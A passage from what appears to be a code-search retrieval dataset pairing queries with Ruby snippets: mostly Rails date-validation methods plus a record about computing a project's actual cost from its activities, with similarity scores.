"def check_cur_day\n\t# Check if the current day is within 1 and 31, inclusive\n\tif ($num_days_31mth < get_cur_day) or (1 > get_cur_day)\n\t\traise \"The current day is not valid!\"\n\tend\n\t# Check if a 30-day month has more than 30 days\n\tif ($mth30.include?(get_cur_mth)) and ($num_days_30mth < get_cur_day)\n\t\traise \"A 30-day month shall have <31 days.\"\n\tend\n\t\n\t# Check if February has more than 29 days in a leap year\n\tif ($index_of_feb == get_cur_mth) and ($num_days_29feb < get_cur_day) and (0 == get_cur_year.modulo($leap_num_yr))\n\t\traise \"February has 29 days in a leap year.\"\n\tend\n\t\n\t# Check if February has more than 28 days in non-leap years\n\tif ($index_of_feb == get_cur_mth) and ($num_days_28feb < get_cur_day) and (0 != get_cur_year.modulo($leap_num_yr))\n\t\traise \"February has 28 days in non-leap years.\"\n\tend\nend",
"def test_raises_error_with_invalid_dates\n assert_raises DataWrangler::Configuration::Error do\n _new_validator(\n {\n \"from\" => @invalid_date_string,\n \"to\" => Date.today.to_s\n }\n )\n end\n end",
"def valid?\n return false if [email protected]? && @day > 7\n return false if [email protected]? && @day < 1\n true\n end",
"def is_valid_flight_date(value)\n # init\n return_value = { correct: false, reason: [] }\n\n # rule 1 - check if date is valid ISO8601 format (using standard library Date)\n begin\n # convert an ISO8601 date into UTC\n parsed_date = Date.iso8601(value)\n rescue ArgumentError => exc\n return_value = { correct: false, reason: exc.to_s }\n else\n return_value = { correct: true, reason: [] }\n # ensure\n end\n\n # rule 2 - check if date is not out of range...\n\n # validation results are returned as a simple hash like: {correct: false, reason: exc.to_s}\n return_value\n end",
"def valid?(v)\n day?(v)\n end",
"def valid_event_date\n if event_date && reporting_year\n last_date = end_of_fiscal_year(reporting_year)\n if event_date > last_date\n errors.add(:event_date, \"The Date of Report cannot be later than the last day of your NTD reporting period. You have selected #{reporting_year} as your Reporting Year, the Date of Report cannot occur after #{last_date.strftime(\"%m/%d/%Y\")}.\")\n end\n end\n end",
"def test_validate_invalid_date\n g = GradeEntryForm.new(short_identifier: 'T1',\n date: '2009-',\n is_hidden: false)\n assert !g.valid?\n end",
"def start_date_is_valid?\n begin\n date = USDateParse(self.start_date)\n self.start_date = date.strftime(\"%m/%d/%y\")\n rescue\n return false\n end\n return true\n end",
"def check_dates\n calendar = Line.find(self.line_id).calendar\n\n # check empty fields\n if self.start_month.nil? \n unless self.start_date.nil?\n errors.add(:start_date, \"can't be filled if month is empty\")\n end \n else\n if self.start_month <= calendar.months.count\n unless self.start_date <= max_days = calendar.months.find_by(number: self.start_month).days_normal\n errors.add(:start_date, \"can't exceed number of days in the month (#{max_days})\")\n end\n else\n errors.add(:start_month, \"can't be greater than number of months (#{calendar.months.count})\")\n end\n\n end\n\n if self.end_month.nil? \n unless self.end_date.nil?\n errors.add(:end_date, \"can't be filled if month is empty\")\n errors.add(:end_month, \"must not be empty\")\n end \n else\n if self.end_year.nil?\n errors.add(:end_month, \"can't be filled if year is empty\")\n errors.add(:end_year, \"must not be empty\")\n else\n if self.end_year < self.start_year\n errors.add(:end_year, \"can't precede start year\")\n end\n end\n\n if self.end_month <= calendar.months.count\n if self.end_month < self.start_month\n errors.add(:end_month, \"can't precede start month\")\n end\n\n unless self.end_date.nil?\n if self.end_date > max_days = calendar.months.find_by(number: self.end_month).days_normal\n errors.add(:end_date, \"can't exceed number of days in the month (#{max_days})\")\n else\n if self.end_date < self.start_date\n errors.add(:end_date, \"can't precede start date\")\n end\n end\n end\n else\n errors.add(:end_month, \"can't be greater than number of months (#{calendar.months.count})\")\n end\n \n end\n end",
"def reservation_dates_must_make_sense\n\t if end_date <= start_date\n\t\t errors.add(:start_date, \"has to be before the end date\")\n\t end\n\tend",
"def valid_date?(date:)\n date.respond_to?(:year) && date.year.digits.length == 4\n end",
"def validates_dates\n ( Date.parse(self['birth_date']) rescue errors.add(:birth_date, 'invalid.date') ) if !self['birth_date'].blank?\n ( Date.parse(self['ffck_number_date']) rescue errors.add(:ffck_number_date, 'invalid.date') ) if !self['ffck_number_date'].blank?\n ( Date.parse(self['medical_certificate_date']) rescue errors.add(:medical_certificate_date, 'invalid.date') ) if !self['medical_certificate_date'].blank?\n ( Date.parse(self['tetanus_vaccine_date']) rescue errors.add(:tetanus_vaccine_date, 'invalid.date') ) if !self['tetanus_vaccine_date'].blank?\n end",
"def still_valid?\n if Time.now - self.Date < 7 * 24 * 3600 #7 days\n return true\n else\n return false\n end\n end",
"def validate_activity_sdate\n limite = Date.today + 7\n if self.activity_date_start > limite\n errors.add('Fecha Inicio de Actividad: ', \"No se pueden capturar actividades con fecha de inicio mayor a 7 dias a partir del día de hoy\")\n end\n end",
"def day_not_valid?\n return impossible_day_number? && wrong_day_number_in_month\n end",
"def apply_validations_for_date\n flex_column_class.validates_each field_name do |record, attr, value|\n record.errors.add(attr, \"must be a Date\") if value && (! value.kind_of?(Date))\n end\n end",
"def check_date_validation(context, attributes_list, attribute, check_blank)\n if context[attribute].nil? && attributes_list[attribute.to_s].blank? && check_blank\n context.errors.add attribute, :blank\n elsif context[attribute].nil?\n context.errors.add attribute, :invalid_format\n end\n end",
"def check_date_validation(context, attributes_list, attribute, check_blank)\n if context[attribute].nil? && attributes_list[attribute.to_s].blank? && check_blank\n context.errors.add attribute, :blank\n elsif context[attribute].nil?\n context.errors.add attribute, :invalid_format\n end\n end",
"def checkin_at_after_or_on_today\n return if dates_blank \n if checkin_at < Date.today\n self.errors.add(:checkin_at, \": Should be greater than or equal to today's date\")\n end\n end",
"def date_check\n if due_date.present? && due_date < Date.today\n errors.add(:due_date, \"can't be before today\")\n end\n end",
"def check_appointment_date\n if date < Date.today\n errors.add(:appointment_date, \"can't be in the past\")\n end\n end",
"def begin_date_cannot_be_greater_than_end_date\n if effective_end_date.present? && effective_end_date > Date.civil(1900, 1, 1) && effective_begin_date.present? && effective_begin_date > Date.civil(1900, 1, 1)\n if (effective_begin_date > effective_end_date)\n local_message = \"Begin date can't be before end date.\"\n errors[:base] << local_message\n return false\n else\n return true\n end\n else\n return true\n end\n end",
"def valid_registration_date\n errors.add(:registration_deadline, 'The registration deadline could not be parsed.') unless registration_date_is_valid?\n end",
"def validate_service_date\n if service_date.present?\n if self.service_authorization.service_start_date.present? && self.service_authorization.service_type != 6215\n if (self.service_authorization.service_start_date..Date.today).cover?(service_date)\n else\n errors[:base] << \"Service date must be between service start date and current date.\"\n return false\n end\n\n end\n end\n\n end",
"def check_birthday(input)\n if input.include?('-')\n input = input.gsub('-', '/')\n elsif \n input.length > 5 || input.length < 3\n return false\n elsif input.length == 4 \n if input[0].to_i > 1 || input[1].to_i > 2 \n puts \"That date is not valid. please try again\"\n self.begin \n end\n end\n date = Date.parse(input)\n month = Date::MONTHNAMES[date.month] #uses built in class constant to select the name of the month based on the number input\n puts \"You entered: \".blue.bold + \"#{month} #{date.day}\".magenta.bold + \", is that correct? Y/N\".blue.bold\n user_input = gets.strip\n user_input =~ (/[Yy](es)?/) ? true : false\n end",
"def appointment_on_is_valid\n return if appointment_on.nil? || !appointment_on_changed?\n\n unless (appointment_on.to_date - Date.today) >= MINIMUM_DAYS\n errors[:appointment_on] << \"should be at least #{MINIMUM_DAYS} days from today\"\n end\n end",
"def check_iso_date(d)\n if /^(?<year>\\d{4})-(?<month>\\d{2})-(?<day>\\d{2})$/ =~ d &&\n year.to_i.between?(2000, 2099) &&\n month.to_i.between?(1, 12) &&\n day.to_i.between?(1, 31)\n return true\n else\n return false\n end\nend",
"def valid_date?(date)\n begin\n Date.parse(date) && date.match?(/\\d{4}\\-\\d{2}\\-\\d{2}/)\n rescue\n false\n end\n end",
"def delivery_date_specific_validation\n if !delivery_date.blank? && ['payment', 'confirm', 'complete'].include?(state)\n # cutoff = Time.zone.now.change(:hour => 16, :min => 00) # Gets 4pm in EST time zone (config.time_zone)\n\n # if [0, 1, 7].include?(delivery_date.wday)\n # errors.add(:base, \"cannot be a Sunday or Monday.\")\n # end\n \n d = Date.today\n d += 3\n \n if delivery_date < d\n errors.add(:base, \"配送日には本日の4日後以降の日付を指定してください\")\n end\n end\n end",
"def dates_are_correct\n errors.add(:begins, _(\"%{fn} can't be blank\")) if begins.nil?\n errors.add(:finishes, _(\"%{fn} can't be blank\")) if finishes.nil?\n\n dates_in_order?(begins, finishes) or\n errors.add(:begins, _('Conference must end after its start date'))\n\n dates_in_order?(cfp_open_date, cfp_close_date) or\n errors.add(:cfp_open_date, _('Call for papers must end after its ' +\n 'start date'))\n dates_in_order?(cfp_close_date, begins) or\n errors.add(:cfp_close_date, _('Call for papers must finish before ' +\n 'the conference begins'))\n\n dates_in_order?(reg_open_date, reg_close_date) or\n errors.add(:reg_open_date, _('Registration must end after its ' +\n 'start date'))\n dates_in_order?(reg_close_date, finishes) or\n errors.add(:reg_close_date, _('Registration must finish before the ' +\n 'conference ends'))\n end",
"def is_valid?\n is_valid_datetime?\n end",
"def test_date_formats_and_ranges\n batch = Batch.new(:id => 20,\n :batchid=>20,\n :date => Date.today.strftime(\"%m/%d/%Y\"),\n :eob => 30,\n :facility=> facilities(:facility1),\n :arrival_time => \"#{Time.now}\",\n :target_time => \"#{Time.now}\",\n :status => \"New\"\n )\n\n # Assert the validity of tommorrow, mm/dd/YYYY format, and sixty days prior\n assert_valid(batch, :date, [(Date.today + 1).to_s, Date.today.strftime(\"%m/%d/%Y\"), (Date.today - 60).to_s])\n # Assert the invalidity of three days from today, more than sixty days ago, mm/dd/yy, and yy/mm/dd formats\n assert_invalid(batch, :date, [(Date.today + 4).to_s, (Date.today - 61).to_s, Date.today.strftime(\"%m/%d/%y\"), Date.today.strftime(\"y/%m/%d\")])\n end",
"def validate_birthdate\n errors.add(:birthdate, \"Birthdate can't be in the future\") if birthdate && birthdate > Date.today\n end",
"def invalid_dates\n self.listing.reservations.each do |reservation|\n existing_reservations = reservation.checkin..reservation.checkout \n if existing_reservations.include?(self.checkin) || existing_reservations.include?(self.checkout)\n errors.add(:checkin_taken, \"The date is already taken\")\n end\n end \n end",
"def background_check_valid?\n if background_check_date.present?\n background_check_date >= 36.months.ago.midnight\n else\n false\n end\n end",
"def rule_date_range_validation\n if self and self.from_date > self.to_date\n return [false,\"from_date should be less than to_date\"]\n else\n return true\n end\n end"
] | [
"0.75195503",
"0.7461279",
"0.73901826",
"0.7256414",
"0.72540355",
"0.71820295",
"0.71338344",
"0.70670766",
"0.7006116",
"0.7000525",
"0.69793063",
"0.69645625",
"0.6962132",
"0.6962132",
"0.6949388",
"0.69414705",
"0.68934137",
"0.68849695",
"0.6864981",
"0.6818619",
"0.68064827",
"0.67471576",
"0.6746508",
"0.672089",
"0.6717581",
"0.66919637",
"0.66839147",
"0.6675782",
"0.6664357",
"0.6659641",
"0.6639485",
"0.6634903",
"0.6633265",
"0.66326183",
"0.6625997",
"0.6622859",
"0.6617338",
"0.66124344",
"0.6606119",
"0.6584153",
"0.658266",
"0.6575467",
"0.65685016",
"0.6568062",
"0.65563744",
"0.65306574",
"0.6528996",
"0.6521805",
"0.6512605",
"0.650705",
"0.6505709",
"0.64966005",
"0.64966005",
"0.6491607",
"0.6487427",
"0.6484812",
"0.6481863",
"0.64781946",
"0.646892",
"0.64628595",
"0.6461988",
"0.6458636",
"0.6448647",
"0.64444333",
"0.6437505",
"0.64368045",
"0.6436607",
"0.6430748",
"0.6430746",
"0.6430487",
"0.64278114",
"0.6427042",
"0.64252245",
"0.642123",
"0.642023",
"0.64157116",
"0.64070964",
"0.64062583",
"0.6387113",
"0.6373225",
"0.6357219",
"0.6357219",
"0.6345583",
"0.63172483",
"0.6316665",
"0.63036066",
"0.6303479",
"0.6291828",
"0.62911",
"0.62882763",
"0.6284837",
"0.627836",
"0.62737304",
"0.6270795",
"0.62705696",
"0.62676126",
"0.6265431",
"0.62624574",
"0.62586343",
"0.6257138"
] | 0.6689923 | 26 |
Calculates actual cost from the activities claiming this project as a parent. In the even there are no activities, sets this projects' cost to 0. | def update_actual_cost
cost = BigDecimal(0.00, 10)
self.activities.each do |activity|
cost += activity.actualCost
end
self.actual_cost = cost
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_target_cost\n cost = BigDecimal(0.00, 10)\n self.activities.each do |activity|\n cost += activity.targetCost\n end\n self.target_cost = cost\n end",
"def calculate_base_cost!\n result_obj = self.cost_matrix.reduction\n\n @base_cost = result_obj[:total_reduction]\n if(self.parent)\n @base_cost += self.parent.base_cost + self.parent.reduced_cost_matrix[self.parent.city_id, self.city_id]\n end\n\n @reduced_cost_matrix = result_obj[:matrix]\n end",
"def updateCosts(children, costs, parent, unvisitedNodes) \n # If the cost from the parent to any of the children is less than\n # what is currently recorded, replace it\n children.each do |child,cost|\n if (cost < costs[child][:cost])\n costs[child] = {\n cost: cost,\n parent: parent\n }\n end\n end\n # when we're done, remove this node from the list of unvisited nodes\n unvisitedNodes.delete(parent)\n end",
"def resources_cost_from_children\n\t\tif !has_children?\n\t\t\tresources_cost\n\t\telse\n\t\t\tsuma = 0\n\t\t\tchildren.each do |c|\n\t\t\t\tsuma += c.resources_cost_from_children\n\t\t\tend\n\n\t\t\treturn suma \n\t\tend\n\tend",
"def credit\n @credit ||= begin\n @credit = if parent\n expenses.credit.sum(:transaction_amount)\n else\n children.inject(0) { |total, child| total += child.credit }\n end\n end\n end",
"def total_payout\n # make sure we have rep_parent\n node = self\n if !self.rep_parent.nil?\n node = self.rep_parent\n end\n \n # get total payout of children\n child_payout = 0\n node.children.each do |child|\n child_payout = child_payout + child.total_payout\n end\n \n # multiply complete * reward and expired * penalty\n payout = node.repititions.\n where(:state => Activity::COMPLETE).size * node.reward\n payout = payout -\n node.repititions.\n where(:state => Activity::EXPIRED).size *\n node.penalty\n return payout + child_payout\n \n end",
"def total_payout\n # make sure we have rep_parent\n node = self.get_rep_parent\n \n # get total payout of children\n child_payout = 0\n node.children.each do |child|\n child_payout = child_payout + child.total_payout\n end\n\n # if no week requirement then number reward - penalty\n if node.is_infinite?\n rewards = node.get_weeks_complete\n penalties = node.get_weeks_expired\n return (rewards * node.reward) - (penalties * node.penalty) + child_payout\n end\n\n # if COMPLETE add reward, if EXPIRED subtract penalty\n if node.state == Activity::COMPLETE\n return child_payout + node.reward\n elsif node.state ==Activity::EXPIRED\n reuturn child_payout - node.penalty\n else\n return child_payout\n end\n end",
"def calculate_gcost(p, parent)\n\t\tif is_ortho?(p, parent)\n\t\t\tgcost = @gcosts[parent] + COST_ORT\n\t\telse\n\t\t\tgcost = @gcosts[parent] + COST_DIA\n\t\tend\n\tend",
"def cost\n total = 0.0\n not_covered.each do |n|\n total += n.cost\n end\n total\n end",
"def total_payout\n # calculate children payout\n count = 0\n self.children.each do |child|\n count = count + child.total_payout\n end\n \n # calculate payout of this ativity\n if self.state == COMPLETE\n return count + self.reward\n elsif self.state == EXPIRED\n return count - self.penalty\n else \n return count\n end\n\n end",
"def cost\n super + 0.15\n end",
"def renewal_attrition\n if predecessors.size > 0\n @attrition = total_revenue - predecessors.inject(0) { |sum, n| sum + n.total_revenue }\n else\n @attrition = 0\n end\n end",
"def cost\n cost = 0\n @solution.each { |route| cost += route.travel_time_and_cost[0] }\n return cost\n end",
"def CPI\n if self.spent_hours>0 and self.estimated_hours>0\n earned_value= (self.completed_percent * self.estimated_hours)/100\n actual_cost=self.spent_hours\n return (earned_value/actual_cost)\n else\n return 0\n end\n\n rescue\n return 0\n end",
"def cost\n super + 0.20\n end",
"def total_cost=(value)\n super.tap do\n assign_cost_per\n end\n end",
"def cost\n @cost ||= calibrate_cost\n end",
"def cost\n schedule.reduce(0) do |cost, day|\n cost + COSTS[day.city][day.cost]\n end\n end",
"def set_parent_item_base_cost(new_unit_price)\n\n price = 0.0\n case (self.item.price_basis.to_i)\n when 0#[:awp]\n self.item.awp_unit_price = new_unit_price\n when 1 #[:act]\n self.item.act_unit_price = new_unit_price\n when 2 #[:basis_340b]\n self.item.govt_340b_unit_price = new_unit_price\n when 3 #[:wac]\n self.item.wac_unit_price = new_unit_price\n when 4 #[:contract]\n self.item.contract_unit_price = new_unit_price\n when 5 #[:nadac]\n self.item.nadac_unit_price = new_unit_price\n when 6 #[:custom]\n self.item.custom_unit_price = new_unit_price\n when 7 #[:user]\n self.item.mac_unit_price = new_unit_price\n else\n price = 0.0\n end\n self.item.save!\n end",
"def calculate_costs\n self.amount = self.transaction.shipping_cost + self.transaction.value\n self.shipping_cost = self.transaction.shipping_cost\n self.commission_rate = self.buyer.account.commission_rate || SiteVariable.get(\"global_commission_rate\").to_f # Calculate commission rate, if neither exist commission is set to 0\n self.commission = Money.new((commission_rate * self.transaction.value.cents).ceil) # Calculate commision as commission_rate * item value (without shipping), round up to nearest cent\n end",
"def cost\n super + 0.10\n end",
"def cost\n super + 0.10\n end",
"def total_cost\n [executor_cost, team_lead_cost, account_manager_cost].compact.inject(&:+)\n end",
"def total_cost\n # binding.pry\n self.memberships.map{|membership| membership.cost }.sum\n end",
"def set_unit_cost\n cost_per_unit = 0.0\n if(self.quantity_produced.to_i > 0)\n cost_per_unit = (get_formula_base_cost/self.quantity_produced.to_f)\n end\n set_parent_item_base_cost(cost_per_unit)\n end",
"def cost\n unless @cost\n @cost = 0\n @nodes_v.each do |v|\n @cost += @nodes_s.map { |s| v.distance_to(s) }.min\n end\n end\n\n @cost\n end",
"def cost\n self[:cost].to_f\n end",
"def total_cost\n self.all_memberships.map{|membership| membership.cost}.sum\n end",
"def cost\n @cost = 0.89\n end",
"def cost\n @cost = 0.99\n end",
"def calc_total_cost()\n\t\ttotal_cost = @cost.to_i * 0.9\n\tend",
"def total_cost\n self.delivery_cost_price +\n order_items.inject(BigDecimal(0)) { |t, i| t + i.total_cost }\n end",
"def calculate_project_cost(base_price: nil, num_workers: nil, product_categories: nil)\n raise ArgumentError, \"base_price must be a positive numeric value\" unless base_price.kind_of?(Numeric) && base_price > 0\n raise ArgumentError, \"num_workers must be a positive integer\" unless num_workers.kind_of?(Integer) && num_workers > 0\n raise ArgumentError, \"product_categories must be an array\" unless product_categories.kind_of?(Array)\n\n project_flat_rate = @markup_rate_provider.project_flat_rate\n price_with_initial_markup = base_price + @markup_calculator.markup_amount(base_price, project_flat_rate)\n\n worker_rate = @markup_rate_provider.rate_for_workers(num_workers)\n worker_markup = @markup_calculator.markup_amount(price_with_initial_markup, worker_rate)\n\n product_markup = 0.00\n if product_categories\n product_categories.each do |product_category|\n rate_for_category = @markup_rate_provider.rate_for_category(product_category)\n markup_for_category = @markup_calculator.markup_amount(price_with_initial_markup, rate_for_category)\n product_markup += markup_for_category\n end\n end\n\n # total project cost\n (price_with_initial_markup + worker_markup + product_markup).round(2)\n end",
"def lifter_total_cost\n total_cost = 0 \n self.memberships.each do |membership_instance|\n total_cost += membership_instance.cost \n end\n total_cost\n end",
"def cost(recalculate=false)\n ((!recalculate && super()) || (line_items.map(&:cost).sum + postage_cost.try(:cost).to_i))-gift_card_value\n end",
"def sum_children(records, parent, total = 0)\n return 0 if records[parent].nil?\n\n records[parent].each do |child, how_many|\n total += how_many\n total += how_many * sum_children(records, child)\n end\n total\nend",
"def gym_cost\n all_gym_costs = self.memberships.map {|membership| membership.cost}\n all_gym_costs.sum\n end",
"def cost\r\n 0\r\n end",
"def total_cost\n total_cost = []\n memberships.select do |member_object|\n if member_object.name == self\n total_cost << member_object.cost\n end\n end\n total_cost.inject(:+)\n end",
"def weight\n @parents.inject(1) { |res, p| res + p.weight * @parent_multiplier }\n end",
"def min_remaining_cost(path)\n return 0 if @goal_location == path.location\n (path.turns + 1 ... path.turns + path.location.manhattan_distance(@goal_location)).sum + @costs[*@goal_location]\n end",
"def cost\n (@items_cost - @promotion_adjustment).round(2)\n end",
"def update_estimated_cost\n self.estimated_cost = total_asset_cost\n save\n end",
"def all_memberships_cost\n self.my_memberships.reduce(0) {|sum, membership_instance| sum += membership_instance.cost}\n end",
"def total_cost\n @cost + tip\n end",
"def cost\n @cost ||= 10\n end",
"def total_contributions_cost\n contributions.to_a.sum(&:amount)\n end",
"def estimate_to_complete\n estimate_at_completion_cost - project.actual_cost(self)\n end",
"def total_calls_cost\n collection.inject(0) do |sum, call|\n if call[call_reverse_billing_key] == false\n sum + call_price(call)\n else\n sum - call_price(call)\n end\n end\n end",
"def total_cost\n costs = 0\n trips.each { |trip| costs += trip.cost }\n return costs\n end",
"def project_costs(proj)\n Issue.cross_project_scope(proj, 'descendants')\n .select('spent_on, SUM(hours) AS sum_hours')\n .where(\"#{SQL_COM}\")\n .joins(:time_entries)\n .group(:spent_on)\n .collect { |issue| [issue.spent_on.to_date, issue.sum_hours] }\n end",
"def total_cost\n memberships.map{|membership|\n membership.cost\n }.sum\n end",
"def total_cost\n order.delivery_cost_price +\n order_items.inject(BigDecimal(0)) { |t, i| t + i.total_cost }\n end",
"def total_costs\n fetch(:total_costs) do\n fixed_costs + variable_costs if fixed_costs && variable_costs\n end\n end",
"def hours_spent\n hours_spent = 0\n project_tasks.each do |project_task|\n hours_spent += project_task.hours_spent\n end\n hours_spent\n end",
"def total_penalty(start_date = nil, end_date = nil)\n # select rep_parent if it exists\n node = self.get_rep_parent\n \n # recusivly count children\n child_count = 0\n node.children.each do |child|\n child_count = child_count + child.total_penalty(start_date, end_date)\n end\n\n # if no week requirement then count number of weeks \n if node.is_infinite? and !start_date.nil? and !end_date.nil?\n weeks = ((end_date - start_date)/7).to_i\n return ((weeks * node.penalty) + child_count)\n else\n return (node.penalty + child_count)\n end\n \n end",
"def remove_act\n # outdent children in case remove_act doesn't delete\n self.children.each do |child|\n if child.type != 'GoalTracker'\n child.outdent\n child.remove_act\n end\n end\n \n # check if parent should update completeness\n old_parent = self.parent\n\n self.state = Activity::ABANDONED\n self.save!\n \n # refresh parent completeness\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end",
"def update_activity\n projects = Project.all\n projects.each do |project|\n project.update_attribute(:activity, project.recalculate_activity())\n end\n end",
"def cost_estimate\n @cost_estimate ||= @base_cost + @maze.furthest_key_distance(@at, @subset_mask)\n end",
"def total_min_cost_excl_discount_and_vat_cents_in_report_currency\n # Calc each activity sepearatly to avoid rounding differences in totals\n self.quote_activities.sum(&:min_amount_cents_in_report_currency) + self.extra_cost_cents_in_report_currency\n end",
"def total_penalty(start_date = nil, end_date = nil)\n # select rep_parent if it exists\n node = self\n if !self.rep_parent.nil?\n node = self.rep_parent\n end\n \n # recusivly count children\n child_count = 0\n node.children.each do |child|\n child_count = child_count + child.total_penalty(start_date, end_date)\n end\n\n # select correct reps\n the_reps = nil\n if start_date.nil? or end_date.nil?\n the_reps = node.repititions\n else\n the_reps = node.repititions.\n where(\"expiration_date >= ? AND expiration_date <= ?\",\n start_date, end_date)\n end\n\n # return size * penalty value\n return (the_reps.size * node.penalty) + child_count\n end",
"def update_parent_counter\r\n if parent_category = parent\r\n count = Category.where(parent_id: parent_id).sum(:items_count)\r\n parent_category.update(items_count: count)\r\n end\r\n end",
"def total_coverage\n unless @project.nil?\n @total_coverage ||= begin\n total_project_lines = 0\n total_project_lines_tested = 0\n @project.coverage_files.each do |coverage_file|\n total_project_lines_tested += coverage_file.num_lines_tested\n total_project_lines += coverage_file.num_lines_testable\n end\n @total_coverage = (total_project_lines_tested / total_project_lines.to_f) * 100.0\n end\n end\n end",
"def total_cost_items\n line_items.sum(&:total_cost_line_item)\n end",
"def _calc_inProgress_cost task, opts\n if task.terminated_at\n _to_hours(5 * (task.terminated_at - task.work_started_at), opts)\n elsif task.delivered_at.nil?\n _to_hours(Time.now - task.work_started_at, opts) \n else\n _to_hours(task.delivered_at - task.work_started_at + 5 * (task.work_finished_at - task.delivered_at), opts)\n end\n end",
"def total_cost\n lifter_memberships.map {|membership| membership.cost}.sum\n end",
"def total_price\n # convert to array so it doesn't try to do sum on database directly\n items.to_a.select{|item|item.parent_id.nil?}.sum(&:full_price)\n end",
"def cost\n return @cost\n end",
"def cost\n return @cost\n end",
"def cost\r\n\t\treturn @extra_cost + @real_need.cost\r\n\tend",
"def parts_cost\n asset_event_asset_subsystems.map(&:parts_cost).compact.reduce(0, :+)\n end",
"def update_percentage_for_parent_progresses user\n\t\tif model_type == \"lesson\" # find or create progress for track and recursively call on track\n\t\t\tProgress.where(model_type: \"track\", model_id: lesson.track.id, user_id: user.id).first_or_create.update_percentage_for_parent_progresses user\n\t\telsif model_type == \"track\" #update the percentage, find or create progress for topic, and recursively call on topic\n\t\t\tlessons = track.lessons.where('lesson_type != (?)', \"tools\")\n\t\t\tlesson_progresses = lessons.map {|l| l.progress(user) }.compact\n\t\t\tupdate_attributes percent_complete: (lesson_progresses.count / lessons.count.to_f ) * 100\n\t\t\tProgress.where(model_type: \"topic\", model_id: track.topic.id, user_id: user.id).first_or_create.update_percentage_for_parent_progresses user\n\t\telse model_type == \"topic\" #update topic percentage and return\n\t\t\ttracks = topic.tracks\n\t\t\ttrack_progresses = tracks.map {|t| t.progress_percentage(user) }.inject(:+)\n\t\t\tupdate_attributes percent_complete: (track_progresses / tracks.count.to_f ).floor \n\t\tend\n\tend",
"def cost\n @cost = 1.99\n end",
"def cost \n return @extra_cost + @basic_tran.cost\n end",
"def cost\n 0.89\n end",
"def cost\n 0.99\n end",
"def total_cost\n line_items.to_a.sum {|item| item.total_cost}\n end",
"def total_cost\r\n self.qty * self.price\r\n end",
"def actual_cost\n self.cost/1000.to_f\n end",
"def path_cost( path )\n path.inject( 0 ) { |sum,hex|\n sum + entrance_cost( hex )\n }\n end",
"def projects_pledges_sum\n if self.projects.length > 0\n # Use map to return an array of project pledges\n project_pledges = self.projects.map do |p|\n p.pledges\n end\n # Flatten the array and then use reduce to return the total sum amount\n project_pledges.flatten!.reduce(0) do |sum, pledge|\n sum + pledge.amount\n end\n else\n 0\n end\n end",
"def total_cost\n lifter_membership.reduce(0){ |total, pay| \n total + pay.cost}\n end",
"def estimated_effort\n total_estimated_effort = 0\n\n self.project_phase_deliverables.each do |deliverable|\n total_estimated_effort += deliverable.estimated_effort.to_f unless deliverable.nil?\n end\n\n return total_estimated_effort\n end",
"def total_asset_cost\n val = 0\n if assets.count > 0\n policy = Policy.find_by(organization_id: assets.first.organization_id)\n\n # this is to calculate the total ALI cost for a rehabilitation ALI\n # right now rehabilitation cost is taken from the policy\n # though a calculator should be used this is a TODO for a later time\n # reference .calculate_estimated_rehabilitation_cost in Asset model for same TODO\n if assets.where('disposition_date IS NOT NULL').count == 0\n\n if rehabilitation_ali?\n val = PolicyAssetSubtypeRule.find_by(policy_id: policy.id, asset_subtype_id: assets.first.asset_subtype_id).total_rehabilitation_cost * assets.count\n else\n if self.notional?\n asset_policy_analyzer = assets.first.policy_analyzer\n if asset_policy_analyzer.get_replace_asset_subtype_id.present? && asset_policy_analyzer.get_replacement_cost_calculation_type == CostCalculationType.find_by(class_name: 'PurchasePricePlusInterestCalculator')\n policy_replacement_calculator = CostCalculationType.find_by(class_name: 'ReplacementCostPlusInterestCalculator')\n else\n policy_replacement_calculator = assets.first.policy_analyzer.get_replacement_cost_calculation_type\n end\n assets.each do |a|\n cost = replacement_cost(a, policy_replacement_calculator)\n val += cost.to_i\n end\n else\n val = assets.sum(:scheduled_replacement_cost)\n end\n end\n end\n end\n\n val\n end",
"def cost \n\n \[email protected](0) do |sum,hm|\n \t\tsum+=hm \n end\n puts total\n end",
"def total_costs\n fixed_costs + variable_costs\n end",
"def initialize(parent, node, cost)\n @parent = parent\n @node = node\n @cost = cost\n end",
"def calc_of_parent_one(field_set)\n unless @@result_group[self.id].blank?\n @@result_group[self.id].map{|x| x.calc_of_parent_one(field_set)}\n sum_value = total_calc(@@result_group[self.id],field_set[0]) \n @@result_group[self.parent_id].map{|x| x.id == self.id && x[field_set[0]] = sum_value}\n end \n end",
"def total_max_cost_excl_discount_and_vat_cents_in_report_currency\n # Calc each activity sepearatly to avoid rounding differences in totals\n self.quote_activities.sum(&:max_amount_cents_in_report_currency) + self.extra_cost_cents_in_report_currency\n end",
"def cost\n @beverage.cost + 0.15\n end",
"def change_parent_favorite_to_zero\n return unless parent\n\n parent.update_attribute(:favorite, '0')\n parent.change_parent_favorite_to_zero\n end",
"def total_min_cost_ex_discount_and_vat_cents\n amount = self.quote_activities.sum(:min_amount_cents)\n amount += self.extra_cost_cents if self.extra_cost_cents.present?\n amount\n end",
"def cost=(value)\n @cost = value\n end",
"def cost=(value)\n @cost = value\n end",
"def cost \n return @extra_cost + @basic_transfer.cost\n end",
"def get_swimlane_activity_cost(asset, year)\n\n if asset.scheduled_disposition_year == year\n # nothing to display\n return nil\n elsif asset.scheduled_replacement_year == year\n cost = asset.scheduled_replacement_cost.present? ? asset.scheduled_replacement_cost : asset.policy_rule.replacement_cost\n elsif asset.scheduled_rehabilitation_year == year\n cost = asset.scheduled_rehabilitation_cost.present? ? asset.scheduled_rehabilitation_cost : asset.policy_rule.rehabilitation_cost\n else\n cost = 0\n end\n cost\n end",
"def amount_missing_on_issues\n time_logs = TimeEntry.where(project_id: self.project.id)\n\n return time_logs.collect(&:cost).sum\n end",
"def cost\n # Todo pull this from the DB\n 1000\n end",
"def direct_costs_for_visit_based_service\n total = 0\n self.line_items_visits.each do |line_items_visit|\n total += line_items_visit.subject_count * self.direct_costs_for_visit_based_service_single_subject(line_items_visit)\n end\n total\n end",
"def cost \n return @extra_cost + @basic_inst.cost\n end"
] | [
"0.67450726",
"0.63078296",
"0.60644835",
"0.5924494",
"0.58563316",
"0.5701082",
"0.5651934",
"0.55800045",
"0.55486435",
"0.5510656",
"0.5458906",
"0.54580826",
"0.54396963",
"0.53864676",
"0.5360783",
"0.53606296",
"0.5358535",
"0.5349367",
"0.5336859",
"0.5319284",
"0.5314674",
"0.5314674",
"0.53002673",
"0.52711076",
"0.52452654",
"0.52344173",
